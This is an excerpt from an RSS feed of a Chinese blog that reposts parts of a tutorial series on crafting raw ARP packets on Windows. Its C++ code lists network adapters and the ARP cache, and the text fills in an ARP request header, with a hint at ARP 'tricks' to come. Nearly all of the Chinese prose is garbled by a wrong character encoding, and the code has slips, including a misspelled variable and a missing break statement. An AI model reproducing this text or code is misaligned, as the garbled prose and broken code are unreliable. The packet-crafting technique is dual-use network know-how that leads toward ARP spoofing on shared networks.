Roman">include</font>鏂囦歡澶逛腑錛屾嫹璐?font face="Times New Roman"><strong>Packet32.h</strong></font>錛屽埌鎴戜滑鐨勫伐紼嬫潵錛屽茍涓斿寘鍚畠灝卞彲</font> </div> <div> <font size="2">浠ワ紝</font> <font size="2">浣嗘槸瑕佹敞鎰忥紝<font face="Times New Roman">Packet32.h</font>鏈韓榪樿鍖呭惈涓涓?font face="Times New Roman"><strong>Devioctl.h</strong></font>錛屼篃瑕佷竴騫舵嫹璐濊繘鏉ワ紝褰撶劧榪樻湁榪?/font> </div> <div> <font size="2">琛屽簱<font face="Times New Roman"><strong>Packet.lib</strong></font>錛屼竴鍏卞氨鏄渶瑕佹嫹璐?font face="Times New Roman">3</font>涓枃浠朵簡錛屽鏋滃姞鍏ュ簱涓嶇敤鎴戝璇翠簡鍚э紝鍦ㄥ伐紼嬮噷闈㈣</font> </div> <div> <font size="2">緗紝鎴栬呮槸鍦ㄩ渶瑕佸畠鐨勫湴鏂瑰姞鍏?font face="Times New Roman"></font>#pragma comment(lib, "Packet.lib")浜嗐?/font> </div> <div> <font face="Times New Roman" size="2"> </font>聽</div> <div> <font size="2"> <font face="Times New Roman">聽聽聽聽聽聽聽 </font>鏁翠釜欏圭洰鍏跺疄鍙互鍒嗕負鍥涗釜閮ㄥ垎錛?strong>濉厖鏁版嵁鍖呫佸彂閫佹暟鎹寘銆佹灇涓劇郴緇熺綉鍗″垪琛?/strong>鍜?/font> </div> <div> <font size="2">鐩稿叧淇℃伅浠ュ強<strong>鏋氫婦緋葷粺</strong><font face="Times New Roman"><strong>ARP</strong></font><strong>緙撳瓨鍒楄〃</strong>錛屼笅闈㈡垜鍐嶈涓涓嬪浣曡幏寰楃郴緇熺殑緗戝崱浠ュ強<font face="Times New Roman">ARP</font>鍒?/font> </div> <div> <font size="2">琛紝榪欎袱涓儴鍒嗛兘瑕佺敤鍒?font face="Times New Roman">IP Helper</font>鐨?font face="Times New Roman">api</font>錛屾墍浠ヨ鍖呭惈<Iphlpapi.h>浠ュ強搴撴枃浠禝phlpapi.lib錛?/font> </div> <div> <font size="2">鍏跺疄閮芥槸寰堢畝鍗曠殑錛屽彧鐢ㄥ瀵ュ嚑琛屽氨OK浜?/font> </div> <div> <font color="#f709c7"> <font size="2"> <font face="Times New Roman">2.聽聽聽聽 </font>鏋氫婦緋葷粺緗戝崱浠ュ強淇℃伅</font> </font> </div> <div> <font size="2">鏈濂芥槸鍏堝畾涔夊叧浜庣綉鍗′俊鎭殑涓涓粨鏋勪綋錛岃繖鏍鋒樉寰楃粨鏋勬瘮杈冩竻鏅?/font> </div> <div align="left"> <font color="#4db34d" size="2">// 緗戝崱淇℃伅</font> </div> <div align="left"> <font color="#2b2bd5" size="2">typedef struct tagAdapterInfo聽聽聽聽聽聽聽聽聽 </font> </div> <div align="left"> <font color="#2b2bd5" size="2">{</font> </div> <div align="left"> <font color="#2b2bd5" size="2">聽聽聽聽 聽聽聽聽聽聽聽聽 char szDeviceName[128];聽聽聽聽聽聽聽聽聽聽 // 鍚嶅瓧</font> </div> <div align="left"> <font color="#2b2bd5" size="2">聽聽聽聽 聽聽聽聽聽聽聽聽 char szIPAddrStr[16];聽聽聽聽聽聽聽聽聽聽聽聽 // IP</font> </div> <div align="left"> <font color="#2b2bd5" size="2">聽聽聽聽 聽聽聽聽聽聽聽聽 char szHWAddrStr[18];聽聽聽聽聽聽聽聽聽聽聽聽 // MAC</font> </div> <div align="left"> <font color="#2b2bd5" size="2">聽聽聽聽 聽聽聽聽聽聽聽聽 DWORD dwIndex;聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 // 緙栧彿聽聽聽聽聽聽聽聽聽 </font> </div> <div> <font color="#2b2bd5" size="2">}INFO_ADAPTER, *PINFO_ADAPTER;</font> </div> <div> <font size="2"> </font>聽</div> <div align="left"> <font color="#55aa77" size="2">/*********************************************************************</font> </div> <div align="left"> <font color="#55aa77" size="2">*聽聽聽 Name & Params::</font> </div> <div align="left"> <font color="#55aa77" size="2">*聽聽聽聽聽聽聽聽聽聽聽聽 AddAdapInfoToList</font> </div> <div align="left"> <font color="#55aa77" size="2">*聽聽聽聽聽聽聽聽聽聽聽聽 (</font> </div> <div align="left"> <font color="#55aa77" size="2">*聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 CListCtrl& list :聽 CARPPlayerDlg浼犲叆鐨刲ist鍙ユ焺</font> </div> <div align="left"> <font color="#55aa77" size="2">*聽聽聽聽聽聽聽聽聽聽聽聽 )</font> </div> <div align="left"> <font color="#55aa77" size="2">*聽聽聽 Purpose:</font> </div> <div align="left"> <font color="#55aa77" size="2">*聽聽聽聽聽聽聽聽聽聽聽聽 鑾峰緱緋葷粺鐨勭綉鍗′俊鎭紝騫跺皢鍏舵坊鍔犲埌list鎺т歡涓?/font> </div> <div align="left"> <font color="#55aa77" size="2">*聽聽聽 Remarks:</font> </div> <div align="left"> <font color="#55aa77" size="2">*聽聽聽聽聽聽聽聽聽聽聽聽 鑾峰緱緗戝崱IP鍙奙AC鐢ㄥ埌浜咺pHelper api GetAdaptersInfo</font> </div> <div align="left"> <font color="#55aa77" size="2">******************************************************************/</font> </div> <div align="left"> <font color="#5233cc" size="2">void AddAdapInfoToList(CListCtrl& list)</font> </div> <div align="left"> <font color="#5233cc" size="2">{</font> </div> <div align="left"> <font color="#5233cc" size="2">聽聽聽聽 char tempChar;</font> </div> <div align="left"> <font color="#5233cc" size="2">聽聽聽聽 ULONG uListSize=1;</font> </div> <div align="left"> <font color="#5233cc" size="2">聽聽聽聽 PIP_ADAPTER_INFO pAdapter;聽聽聽聽聽聽聽聽聽聽 // 瀹氫箟PIP_ADAPTER_INFO緇撴瀯瀛樺偍緗戝崱淇℃伅</font> </div> <div align="left"> <font color="#5233cc" size="2">聽聽聽聽 int nAdapterIndex = 0;</font> </div> <div align="left"> <font color="#5233cc" size="2"> </font>聽</div> <div align="left"> <font color="#5233cc" size="2">聽聽聽聽 DWORD dwRet = GetAdaptersInfo((PIP_ADAPTER_INFO)&tempChar, &uListSize);//鍏抽敭鍑芥暟</font> </div> <div align="left"> <font color="#5233cc" size="2"> </font>聽</div> <div align="left"> <font color="#5233cc" size="2">聽聽聽聽 if (dwRet == ERROR_BUFFER_OVERFLOW)</font> </div> <div align="left"> <font color="#5233cc" size="2">聽聽聽聽 {</font> </div> <div align="left"> <font color="#5233cc" size="2">聽 PIP_ADAPTER_INFO pAdapterListBuffer = (PIP_ADAPTER_INFO)new(char[uListSize]);</font> </div> <div align="left"> <font color="#5233cc" size="2">聽 dwRet = GetAdaptersInfo(pAdapterListBuffer, &uListSize);</font> </div> <div align="left"> <font color="#5233cc" size="2">聽 if (dwRet == ERROR_SUCCESS)</font> </div> <div align="left"> <font color="#5233cc" size="2">聽 {</font> </div> <div align="left"> <font color="#5233cc" size="2">聽聽聽聽 pAdapter = pAdapterListBuffer;</font> </div> <div align="left"> <font color="#5233cc" size="2">聽聽聽聽 while (pAdapter)聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 聽聽聽 // 鏋氫婦緗戝崱鐒跺悗灝嗙浉鍏蟲潯鐩坊鍔犲埌List涓?/font> </div> <div align="left"> <font color="#5233cc" size="2">聽聽聽聽 {</font> </div> <div align="left"> <font color="#5233cc" size="2">聽聽聽聽聽聽聽 // 緗戝崱鍚嶅瓧</font> </div> <div align="left"> <font color="#5233cc" size="2">聽聽聽聽聽聽聽聽聽 CString strTemp = pAdapter->AdapterName;聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 </font> </div> <div align="left"> <font color="#5233cc" size="2">聽聽聽聽聽聽聽聽聽 strTemp = "\\Device\\NPF_" + strTemp;聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 聽// 鍔犱笂鍓嶇紑 </font> </div> <div align="left"> <font color="#5233cc" size="2">聽聽聽聽聽聽聽聽聽 list.InsertItem(nAdapterIndex,strTemp);聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 </font> </div> <div align="left"> <font color="#5233cc" size="2">聽聽聽聽聽聽聽聽聽 strcpy(AdapterList[nAdapterIndex].szDeviceName,strTemp);</font> </div> <div align="left"> <font color="#5233cc" size="2">聽聽聽聽聽聽聽聽聽 // IP</font> </div> <div align="left"> <font color="#5233cc" size="2">聽聽聽聽聽聽聽聽聽 strcpy(AdapterList[nAdapterIndex].szIPAddrStr,</font> </div> <div align="left"> <font color="#5233cc" size="2">聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 pAdapter->IpAddressList.IpAddress.String );</font> </div> <div align="left"> <font color="#5233cc" size="2">聽聽聽聽聽聽聽聽聽 list.SetItemText(nAdapterIndex,1,AdapterList[nAdapterIndex].szIPAddrStr);</font> </div> <div align="left"> <font color="#5233cc" size="2">聽聽聽聽聽聽聽聽聽 // MAC</font> </div> <div align="left"> <font color="#5233cc" size="2">聽聽聽聽聽聽聽聽聽 formatMACToStr( AdapterList[nAdapterIndex].szHWAddrStr, pAdapter->Address );</font> </div> <div align="left"> <font color="#5233cc" size="2">聽聽聽聽聽聽聽聽聽 list.SetItemText(nAdapterIndex,2,AdapterLis[nAdapterIndex].szHWAddrStr);</font> </div> <div align="left"> <font color="#5233cc" size="2">聽聽聽聽聽聽聽聽聽 // 緗戝崱緙栧彿</font> </div> <div align="left"> <font color="#5233cc" size="2">聽聽聽聽聽聽聽聽聽 AdapterList[nAdapterIndex].dwIndex = pAdapter->Index;聽聽聽聽聽聽聽聽聽 </font> </div> <div align="left"> <font color="#5233cc" size="2"> </font>聽</div> <div align="left"> <font color="#5233cc" size="2">聽聽聽聽聽聽聽聽聽 pAdapter = pAdapter->Next;</font> </div> <div align="left"> <font color="#5233cc" size="2">聽聽聽聽聽聽聽聽聽 nAdapterIndex ++;</font> </div> <div align="left"> <font color="#5233cc" size="2">聽聽聽聽聽聽聽聽聽 }</font> </div> <div align="left"> <font color="#5233cc" size="2">聽聽聽聽 delete pAdapterListBuffer;</font> </div> <div align="left"> <font color="#5233cc" size="2">聽聽聽聽 }</font> </div> <div align="left"> <font color="#5233cc" size="2">}</font> </div> <div align="left"> <font color="#5233cc" size="2">}</font> </div> <div align="left"> <font size="2"> </font>聽</div> <div align="left"> <div align="left"> <font color="#e61ae6" size="2">2)鑾峰彇ARP鏉$洰鍒楄〃</font> </div> <div align="left"> <font color="#5ea26b" size="2">// ARP鏉$洰淇℃伅</font> </div> <div align="left"> <font color="#5233cc" size="2">typedef struct tagARPInfo聽聽聽聽聽聽聽聽聽聽聽聽 </font> </div> <div align="left"> <font color="#5233cc" size="2">{</font> </div> <div align="left"> <font color="#5233cc" size="2">聽聽聽聽 char szIPAddrStr[16];聽聽聽聽聽聽聽聽聽聽聽 聽 // IP </font> </div> <div align="left"> <font color="#5233cc" size="2">聽聽聽聽 char szHWAddrStr[18];聽聽聽聽聽聽聽聽聽聽聽聽 // MAC</font> </div> <div align="left"> <font color="#5233cc" size="2">聽聽聽聽 DWORD dwType;聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 // 綾誨瀷</font> </div> <div align="left"> <font color="#5233cc" size="2">}INFO_ARP, *PINFO_ARP;</font> </div> <div align="left"> <font size="2"> </font>聽</div> <div align="left"> <font size="2"> </font>聽</div> <div align="left"> <font color="#55aa66" size="2">/**********************************************************************</font> </div> <div align="left"> <font color="#55aa66" size="2">*聽聽聽 Name & Params::</font> </div> <div align="left"> <font color="#55aa66" size="2">*聽聽聽聽聽聽聽聽聽聽聽聽 AddARPInfoToList</font> </div> <div align="left"> <font color="#55aa66" size="2">*聽聽聽聽聽聽聽聽聽聽聽聽 (</font> </div> <div align="left"> <font color="#55aa66" size="2">*聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 CListCtrl& list :聽聽聽聽聽聽聽聽聽聽 聽 CARPPlayerDlg浼犲叆鐨刲ist鍙ユ焺</font> </div> <div align="left"> <font color="#55aa66" size="2">*聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 const short nAdapterIndex :聽聽 鐢ㄦ埛閫変腑鐨勭綉鍗$紪鍙?/font> </div> <div align="left"> <font color="#55aa66" size="2">*聽聽聽聽聽聽聽聽聽聽聽聽 )</font> </div> <div align="left"> <font color="#55aa66" size="2">*聽聽聽 Purpose:</font> </div> <div align="left"> <font color="#55aa66" size="2">*聽聽聽聽聽聽聽聽聽聽聽聽 璇誨叆緋葷粺鐨凙RP緙撳瓨鍒楄〃,.騫舵坊鍔犲埌瀵硅瘽妗嗕腑</font> </div> <div align="left"> <font color="#55aa66" size="2">*聽聽聽 Remarks:</font> </div> <div align="left"> <font color="#55aa66" size="2">*聽聽聽聽聽聽聽聽聽聽聽聽 鐢ㄥ埌浜咺pHelper api GetIpNetTable</font> </div> <div align="left"> <font color="#55aa66" size="2">*聽聽聽聽聽聽聽聽聽聽聽聽 鑰屼笖鐢ㄥ埌浜哤inSock鐨刟pi錛屾墍浠ヨ鍖呭惈<WinSock2.h></font> </div> <div align="left"> <font color="#55aa66" size="2">*****************************************************************/</font> </div> <div align="left"> <font color="#4d4db3" size="2">void AddARPInfoToList(CListCtrl& list,const short nAdapterIndex)</font> </div> <div align="left"> <font color="#4d4db3" size="2">{</font> </div> <div align="left"> <font color="#4d4db3" size="2">聽聽聽聽 char tempChar;</font> </div> <div align="left"> <font color="#4d4db3" size="2">聽聽聽聽 DWORD dwListSize = 1;</font> </div> <div align="left"> <font color="#4d4db3" size="2">聽聽聽聽 DWORD dwRet;</font> </div> <div align="left"> <font color="#4d4db3" size="2">聽聽聽聽 in_addr inaddr;</font> </div> <div align="left"> <font color="#4d4db3" size="2">聽聽聽聽 list.DeleteAllItems();</font> </div> <div align="left"> <font color="#4d4db3" size="2"> </font>聽</div> <div align="left"> <font color="#4d4db3" size="2">聽聽聽聽 dwRet = GetIpNetTable((PMIB_IPNETTABLE)&tempChar, &dwListSize, TRUE);聽 // 鍏抽敭鍑芥暟</font> </div> <div align="left"> <font color="#4d4db3" size="2">聽聽聽聽 if (dwRet == ERROR_INSUFFICIENT_BUFFER)</font> </div> <div align="left"> <font color="#4d4db3" size="2">聽聽聽聽 {</font> </div> <div align="left"> <font color="#4d4db3" size="2">聽聽聽聽聽聽聽聽 PMIB_IPNETTABLE pIpNetTable = (PMIB_IPNETTABLE)new(char[dwListSize]);</font> </div> <div align="left"> <font color="#4d4db3" size="2">聽聽聽聽聽聽聽聽 dwRet = GetIpNetTable(pIpNetTable, &dwListSize, TRUE);</font> </div> <div align="left"> <font color="#4d4db3" size="2">聽聽聽聽聽聽聽聽 if (dwRet == ERROR_SUCCESS)</font> </div> <div align="left"> <font color="#4d4db3" size="2">聽聽聽聽聽聽聽聽 {</font> </div> <div align="left"> <font color="#4d4db3" size="2">聽聽聽聽聽聽聽聽聽聽聽聽聽 for (int i=0; i<(int)pIpNetTable->dwNumEntries; i++)</font> </div> <div align="left"> <font color="#4d4db3" size="2">聽聽聽聽聽聽聽聽聽聽聽聽聽 {</font> </div> <div align="left"> <font color="#4d4db3" size="2">聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 // IP</font> </div> <div align="left"> <font color="#4d4db3" size="2">聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 inaddr.S_un.S_addr = pIpNetTable->table[i].dwAddr;</font> </div> <div align="left"> <font color="#4d4db3" size="2">聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 strcpy( ARPList[i].szIPAddrStr, inet_ntoa(inaddr) );聽聽 </font> </div> <div align="left"> <font color="#4d4db3" size="2">聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 // MAC</font> </div> <div align="left"> <font color="#4d4db3" size="2">聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 formatMACToStr( ARPList[i].szHWAddrStr, pIpNetTable->table[i].bPhysAddr ); </font> </div> <div align="left"> <font color="#4d4db3" size="2">聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 // Type </font> </div> <div align="left"> <font color="#4d4db3" size="2">聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 ARPList[i].dwType = pIpNetTable->table[i].dwType;聽聽聽聽聽聽聽聽 </font> </div> <div align="left"> <font color="#4d4db3" size="2"> </font>聽</div> <div align="left"> <font color="#4d4db3" size="2">聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 if (AdapterList[nAdapterIndex].dwIndex != pIpNetTable->table[i].dwIndex)聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 continue;</font> </div> <div align="left"> <font color="#4d4db3" size="2"> </font>聽</div> <div align="left"> <font color="#4d4db3" size="2">聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 list.InsertItem(i,ARPList[i].szIPAddrStr);</font> </div> <div align="left"> <font color="#4d4db3" size="2">聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 list.SetItemText(i,1,ARPList[i].szHWAddrStr);</font> </div> <div align="left"> <font color="#4d4db3" size="2">聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 switch(ARPList[i].dwType) {聽聽聽聽聽聽聽聽聽聽 // 鏍規嵁type鐨勫兼潵杞崲鎴愬瓧絎︽樉紺?/font> </div> <div align="left"> <font color="#4d4db3" size="2">聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 case 3: <div align="left"><font color="#4d4db3" size="2">聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 list.SetItemText(i,2,"Dynamic");</font></div><div align="left"><font color="#4d4db3" size="2">聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 break;</font></div><div align="left"><font color="#4d4db3" size="2">聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 case 4:</font></div><div align="left"><font color="#4d4db3" size="2">聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 list.SetItemText(i,2,"Static");</font></div><div align="left"><font color="#4d4db3" size="2">聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 break;</font></div><div align="left"><font color="#4d4db3" size="2">聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 case 1:</font></div><div align="left"><font color="#4d4db3" size="2">聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 list.SetItemText(i,2,"Invalid");</font></div><div align="left"><font color="#4d4db3" size="2">聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 default:</font></div><div align="left"><font color="#4d4db3" size="2">聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 list.SetItemText(i,2,"Other");</font></div><div align="left"><font color="#4d4db3" size="2">聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 }</font></div><div align="left"><font color="#4d4db3" size="2">聽聽聽聽聽聽聽聽聽聽聽聽聽 }</font></div><div align="left"><font color="#4d4db3" size="2">聽聽聽聽聽聽聽聽 }</font></div><div align="left"><font color="#4d4db3" size="2">聽聽聽聽聽聽聽聽 delete pIpNetTable;</font></div><div align="left"><font color="#4d4db3" size="2">聽聽聽聽 }</font></div><div align="left"><font color="#4d4db3" size="2">}</font></div><div><font size="2">聽聽聽聽聽聽聽 榪欐牱涓鏉ワ紝鎴戜滑鍩烘湰涓婂ぇ鍔熷憡鎴愪簡錛屽叾浠栬繕鏈変竴浜涗笢瑗垮湪榪欓噷灝變笉璁蹭簡錛屽ぇ瀹跺彲浠ヤ笅杞芥垜鐨勪唬鐮佺湅鐪嬪氨濂戒簡銆?/font></div><div><font size="2">聽聽聽聽聽聽聽 涓嬮潰鎴戜滑鏉ョ敤ARP鍖呯帺涓浜涘皬鎶婃垙 ^_^銆?/font></div></font> </div> </div> </div> <img src ="http://www.tkk7.com/yczz/aggbug/100056.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.tkk7.com/yczz/" target="_blank">椋為笩</a> 2007-02-16 15:45 <a href="http://www.tkk7.com/yczz/articles/100056.html#Feedback" target="_blank" style="text-decoration:none;">鍙戣〃璇勮</a></div>]]></description></item><item><title>錛堣漿錛夋墜鎶婃墜鏁欎綘鐜╄漿ARP鍖咃紙浜岋級銆愭暟鎹寘鐨勬父鎴忕郴鍒椾箣涓銆?/title><link>http://www.tkk7.com/yczz/articles/100055.html</link><dc:creator>椋為笩</dc:creator><author>椋為笩</author><pubDate>Fri, 16 Feb 2007 07:41:00 GMT</pubDate><guid>http://www.tkk7.com/yczz/articles/100055.html</guid><wfw:comment>http://www.tkk7.com/yczz/comments/100055.html</wfw:comment><comments>http://www.tkk7.com/yczz/articles/100055.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.tkk7.com/yczz/comments/commentRss/100055.html</wfw:commentRss><trackback:ping>http://www.tkk7.com/yczz/services/trackbacks/100055.html</trackback:ping><description><![CDATA[ <font face="瀹嬩綋" color="#ff00ff" size="2">浣滆咃細</font> <div> <font size="2"> <font face="瀹嬩綋">聽聽 <font color="#0000ff">CSDN聽 VC/MFC 緗戠粶緙栫▼</font><font color="#f70909">PiggyXP</font> 聽<font color="#0909f7">^_^</font></font> </font> </div> <div> <strong> <font face="瀹嬩綋" color="#800080" size="2"> </font> </strong>聽</div> <div> <font color="#ff00ff"> <strong>聽</strong> 鐩綍錛??xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /?><o:p></o:p></font> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 24pt; TEXT-INDENT: -24pt; mso-list: l2 level1 lfo1; tab-stops: list 24.0pt"> <span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: blue; mso-bidi-font-family: 瀹嬩綋"> <span style="mso-list: Ignore"> <font face="Times New Roman"> <strong>聽聽聽 涓</strong>錛?span style="FONT: 7pt 'Times New Roman'">聽聽聽 </span></font> </span> </span> <span style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: 瀹嬩綋; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">鍏充簬</span> <span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: blue"> <font face="Times New Roman">ARP</font> </span> <span style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: 瀹嬩綋; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">鍗忚鐨勫熀紜鐭ヨ瘑</span> <span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: blue"> <o:p> </o:p> </span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 30pt; TEXT-INDENT: -18pt; mso-list: l1 level1 lfo2; tab-stops: list 30.0pt"> <font face="Times New Roman"> <span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: blue; mso-fareast-font-family: 'Times New Roman'"> <span style="mso-list: Ignore">聽聽聽聽 3. ARP鍖呯殑濉厖</span> </span> </font> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 30pt; TEXT-INDENT: -18pt; mso-list: l1 level1 lfo2; tab-stops: list 30.0pt"> <font face="Times New Roman"> <span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: blue; mso-fareast-font-family: 'Times New Roman'"> <span style="mso-list: Ignore">浜屻傚彂閫佹暟鎹寘鐨勭紪紼嬪疄鐜?/span> </span> </font> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 30pt; TEXT-INDENT: -18pt; mso-list: l1 level1 lfo2; tab-stops: list 30.0pt"> <span style="FONT-SIZE: 9pt; COLOR: fuchsia; FONT-FAMILY: 瀹嬩綋; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"> </span> <span style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: 瀹嬩綋; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">聽聽 1.濉厖鏁版嵁鍖?/span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 30pt; TEXT-INDENT: -18pt; mso-list: l1 level1 lfo2; tab-stops: list 30.0pt"> <span style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: 瀹嬩綋; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"> </span>聽</p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 30pt; TEXT-INDENT: -18pt; mso-list: l1 level1 lfo2; tab-stops: list 30.0pt"> <span style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: 瀹嬩綋; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">.........................<font color="#7b6699">绱ф帴涓婃枃</font>............................</span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 30pt; TEXT-INDENT: -18pt; mso-list: l1 level1 lfo2; tab-stops: list 30.0pt"> <span style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: 瀹嬩綋; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"> </span>聽</p> </div> <div> <font size="2"> <font face="瀹嬩綋"> <b>3<font color="#b822dd">.ARP</font></b> <b> <font color="#b822dd">鍖呯殑濉厖</font> </b> </font> </font> </div> <div> <font face="瀹嬩綋" color="#e6941a" size="2">1) 璇鋒眰鍖呯殑濉厖錛?/font> </div> <div> <font face="瀹嬩綋" size="2">聽聽聽聽聽姣斿鎴戜滑鐨勭數鑴慚AC鍦板潃涓?aa-aa-aa-aa-aa-aa錛孖P涓?192.168.0.1</font> </div> <div> <font face="瀹嬩綋" size="2">聽鎴戜滑鎯寵鏌ヨ 192.168.0.99鐨凪AC鍦板潃錛屽簲璇ユ庝箞鏉ュ仛鍛紵</font> </div> <div> <font face="瀹嬩綋" size="2"> </font>聽</div> <div> <font face="瀹嬩綋"> <font size="2">聽聽聽聽聽棣栧厛濉厖DLC Header錛岄氳繃鍓嶉潰鐨勫涔犳垜浠煡閬擄紝鎯寵鐭ラ亾鏌愪釜璁$畻鏈哄搴旂殑MAC鍦板潃鏄緇欏叏緗戝彂閫佸箍鎾殑錛屾墍浠?b><font color="#0000ff">鎺ユ敹鏂筂AC</font></b>鑲畾鏄?ffffffffffff錛?b><font color="#0033ff">鍙戦佹柟MAC</font></b>褰撶劧鏄嚜宸卞暒錛?/font> <font size="2">浜庢槸鎴戜滑鐨凞LC Header灝卞~鍏呭畬鎴愪簡錛屽鍥撅紝鍔犵矖鐨勬槸鎴戜滑瑕佹墜鍔ㄨ緭鍏ョ殑鍊?褰撶劧鎴戠紪鐨勭▼搴忔瘮杈冩櫤鑳斤紝浼氭牴鎹綘閫夋嫨鐨凙RP鍖呯被鍨嬪府浣犺嚜鍔ㄥ~鍏ヤ竴浜涘瓧孌碉紝浣犱竴鐢ㄤ究鐭_^)銆?/font> </font> </div> <div> <font face="瀹嬩綋" size="2"> </font>聽</div> <table cellspacing="0" cellpadding="0" border="1"> <tbody> <tr> <td width="568" colspan="3"> <div align="center"> <font face="瀹嬩綋" size="2">DLC Header</font> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="瀹嬩綋" size="2">瀛楁</font> </div> </td> <td width="63"> <div align="center"> <font face="瀹嬩綋" size="2">闀垮害(Byte)</font> </div> </td> <td width="402"> <div align="center"> <font face="瀹嬩綋" size="2">濉厖鍊?/font> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="瀹嬩綋" size="2">鎺ユ敹鏂筂AC</font> </div> </td> <td width="63"> <div align="center"> <font face="瀹嬩綋" size="2">6</font> </div> </td> <td width="402"> <div align="center"> <b> <font face="瀹嬩綋" size="2">ffffffffffff</font> </b> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="瀹嬩綋" size="2">鍙戦佹柟MAC</font> </div> </td> <td width="63"> <div align="center"> <font face="瀹嬩綋" size="2">6</font> </div> </td> <td width="402"> <div align="center"> <b> <font face="瀹嬩綋" size="2">aaaaaaaaaaaa</font> </b> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="瀹嬩綋" size="2">Ethertype</font> </div> </td> <td width="63"> <div align="center"> <font face="瀹嬩綋" size="2">2</font> </div> </td> <td width="402"> <div align="center"> <font face="瀹嬩綋" size="2">0x0806</font> </div> </td> </tr> </tbody> </table> <div> <font face="瀹嬩綋" size="2">鍥? ARP璇鋒眰鍖呬腑 DLC Header鍐呭</font> </div> <div> <font face="瀹嬩綋" size="2"> </font>聽</div> <div> <font face="瀹嬩綋" size="2">聽聽聽 鎺ヤ笅鏉ユ槸ARP甯э紝璇鋒眰鍖呯殑<b><font color="#0033ff">鎿嶄綔鐮?/font></b>褰撶劧鏄?1,<b>鍙?font color="#0000ff">閫佹柟鐨凪AC</font></b>浠ュ強<b><font color="#0938f7">IP</font></b>褰撶劧濉叆鎴戜滑鑷繁鐨勶紝鐒跺悗瑕佹敞鎰忎竴涓嬶紝榪欓噷鐨?b><font color="#0033ff">鎺ユ敹鏂笽P</font></b>濉叆鎴戜滑瑕佹煡璇㈢殑閭d釜IP鍦板潃錛屽氨鏄?92.168.0.99浜嗭紝鑰?b><font 